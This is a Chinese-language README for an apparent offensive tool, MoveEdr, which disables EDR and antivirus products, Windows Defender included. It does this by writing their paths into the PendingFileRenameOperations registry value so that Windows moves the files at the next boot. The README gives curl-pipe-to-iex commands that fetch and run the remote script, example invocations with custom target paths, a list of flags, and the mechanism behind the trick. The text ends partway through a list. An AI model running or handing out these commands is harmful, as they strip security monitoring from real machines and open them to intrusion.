如果你以管理员身份操作,可以强制 Windows 在启动后、服务启动之前立即删除或移动文件夹和文件。这可以用来禁用 EDR。
[!CAUTION] 有一个与 CrowdStrike 相关的问题,会导致循环启动并显示消息 "INACCESSIBLE_BOOT_DEVICE"。 我的理论是,要么 CrowdStrike 本身,要么某个软件部署解决方案,试图安装缺失的 CrowdStrike 文件,但失败并使其处于损坏状态。 我不确定这是取决于移动后经过的时间,还是执行重启的次数。 第一次移动 CrowdStrike 并重启是正常的。 也许在第一次重启后安排撤消操作,以免出错。
curl https://raw.githubusercontent.com/duhirsch/MoveEdr/refs/heads/main/MoveEdr.ps1 | iex; MoveEdr
# Reboot!
可以使用以下标志
Undo : 撤消 EDR 移动,适用于 CustomPathsClear: 清除注册表键的值Print: 以人类可读格式打印注册表键的值,而不是以空字节结尾的字符串CustomOnly: 默认情况下,CustomPaths 和 FullyCustomPaths 会被添加到内置移动项中。使用此标志可确保仅移动你的自定义路径。CustomPaths: 指定你自己的 EDR 路径,而不是使用内置路径。只接受源路径作为输入,若还想自定义目标路径,请使用 FullyCustomPaths。FullyCustomPaths : 同时指定源和目标,让你可以控制目标路径,而不是使用 $Suffix。Suffix: 为移动的文件使用不同的后缀,而不是默认的 _bakDump: 以可供 Load 使用的格式转储注册表键的值Load: 加载之前转储的注册表键的值DefenderHard: 不移动 Windows Defender 的特定可执行文件,而是移动整个 Windows Defender 文件夹IgnoreOld: 不保留注册表键中已经存在的值,直接覆盖它们Reboot: 设置注册表键后立即执行重启。可能会执行 Windows 更新,并且重启可能需要很长时间 😬curl https://raw.githubusercontent.com/duhirsch/MoveEdr/refs/heads/main/MoveEdr.ps1 | iex
MoveEdr -CustomPaths "C:\Program Files\newAndShinyEdr","C:\Windows\System32\drivers\newAndShinyEdr" -Suffix "_x33f" -IgnoreOld -DefenderHard -Reboot
# Do what you need to do!
# Undo
# Same command as before, just append -Undo
curl https://raw.githubusercontent.com/duhirsch/MoveEdr/refs/heads/main/MoveEdr.ps1 | iex
MoveEdr -CustomPaths "C:\Program Files\newAndShinyEdr","C:\Windows\System32\drivers\newAndShinyEdr" -Suffix "_x33f" -IgnoreOld -DefenderHard -Reboot -Undo
有些程序具备一项功能,即便是本地管理员也无法卸载或禁用它们。大多数情况下,这些程序是 AV/EDR,即使你是管理员,它们也会提示你输入停用密码。
这里有一个技巧:通过移动文件和文件夹,使它们无法在下次启动时运行,从而禁用它们。
SysInternals's PendMoves 提供了 movefile.exe,其说明如下:
有很多应用程序(例如 service packs 和 hotfixes)必须替换一个正在使用而无法替换的文件。因此,Windows 提供了 MoveFileEx API 来重命名或删除文件,并允许调用方指定他们希望在下次系统启动时、在文件被引用之前执行该操作。会话管理器通过读取注册表值 HKLM\System\CurrentControlSet\Control\Session Manager\PendingFileRenameOperations 中注册的重命名和删除命令来执行此任务。
MoveFileEx 究竟是如何做到这一点的?让我们看看文档:
该函数将要重命名的文件的位置存储在重启时的以下注册表值中:HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Session Manager\PendingFileRenameOperations
此注册表值的类型为 REG_MULTI_SZ。根据重命名是否为删除操作,每个重命名操作会存储以下一个以 NULL 结尾的字符串:
szSrcFile\0\0
szSrcFile\0szDstFile\0
这意味着,我们可以通过创建注册表键 PendingFileRenameOperations 并以正确的 REG_MULTI_SZ 格式输入我们要删除的文件/目录路径,来实现与 movefile.exe 相同的效果。
MoveEdr 脚本会自动为以下 AV/EDR 创建正确的注册表键: